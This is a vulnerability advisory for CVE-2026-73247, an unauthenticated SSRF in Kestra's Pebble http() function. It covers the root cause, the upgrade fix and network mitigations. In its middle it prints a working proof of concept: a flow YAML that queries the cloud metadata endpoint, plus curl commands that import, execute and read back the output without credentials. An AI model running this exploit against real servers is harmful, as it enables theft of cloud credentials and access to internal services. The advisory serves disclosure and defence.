high · 8.6CVE-2026-73247Sep 17, 2026

CVE-2026-73247: Kestra Unauthenticated SSRF via Pebble http() Function

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Kestra's built-in Pebble http() function passes attacker-controlled URLs directly to the server's HTTP client with no filtering, letting anyone with network access reach internal services or cloud…

Packageio.kestra:core
Ecosystemmaven
Affected<= 1.3.31

The problem

The http() function in HttpFunction.java (lines 77-106) takes a user-supplied uri argument and hands it straight to URI.create() and the server-side HTTP client. No checks exist for private CIDRs (10.0.0.0/8, 192.168.0.0/16), loopback (127.0.0.1), link-local (169.254.169.254), or non-HTTP schemes like file:// or gopher://.

Because TenantValidationFilter.java only validates that the tenant equals main and performs no authentication check, an attacker can import and execute a malicious flow over the public API with zero credentials. The execution response leaks the HTTP reply body, turning the Kestra worker into an open proxy against any internal target.

Proof of concept

A working proof-of-concept for CVE-2026-73247 in io.kestra:core, with the exact payload below.

bash
# Step 1: write the malicious flow
cat > /tmp/ssrf_poc.yaml << 'YAML'
id: ssrf_metadata
namespace: company.team
tasks:
  - id: exfiltrate
    type: io.kestra.plugin.core.log.Log
    message: |
      {{ http(uri='http://169.254.169.254/latest/meta-data/', method='GET') }}
YAML

# Step 2: import without authentication
curl -X POST http://<kestra-host>:8080/api/v1/main/flows/import \
  -F "fileUpload=@/tmp/ssrf_poc.yaml"

# Step 3: trigger execution (no credentials required)
curl -X POST http://<kestra-host>:8080/api/v1/main/executions/company.team/ssrf_metadata

# Step 4: retrieve output (execution logs contain the metadata response)
curl http://<kestra-host>:8080/api/v1/main/logs/search?namespace=company.team&flowId=ssrf_metadata

The root cause is a complete absence of an allowlist or blocklist in HttpFunction.java. The line URI uri = URI.create(args.get("uri").toString()); trusts the caller fully, so any URI scheme or destination reaches the underlying HTTP client unchanged.

The patch in 2.0.0 added SSRF filtering for all HTTP tasks, blocking requests to private, loopback, and link-local destinations before the connection is made. This maps directly to CWE-918: the server retrieves attacker-chosen URLs without verifying the destination is safe.

The no-authentication import path compounds the issue. An attacker needs only network access to the Kestra port to weaponize the function, making this trivially automatable (CVSS AV:N/AC:L/PR:N/UI:N/S:C).

The fix

Upgrade to Kestra 2.0.0 or later. The 2.0.0 release added explicit SSRF filtering in HttpFunction.java that blocks requests to private, loopback, and link-local destinations. If an immediate upgrade is not possible, restrict network access to the Kestra API port and block outbound connections from the worker containers to RFC-1918 and link-local ranges at the network layer.

Reported by loicmathieu.

References: [1][2][3]

Related research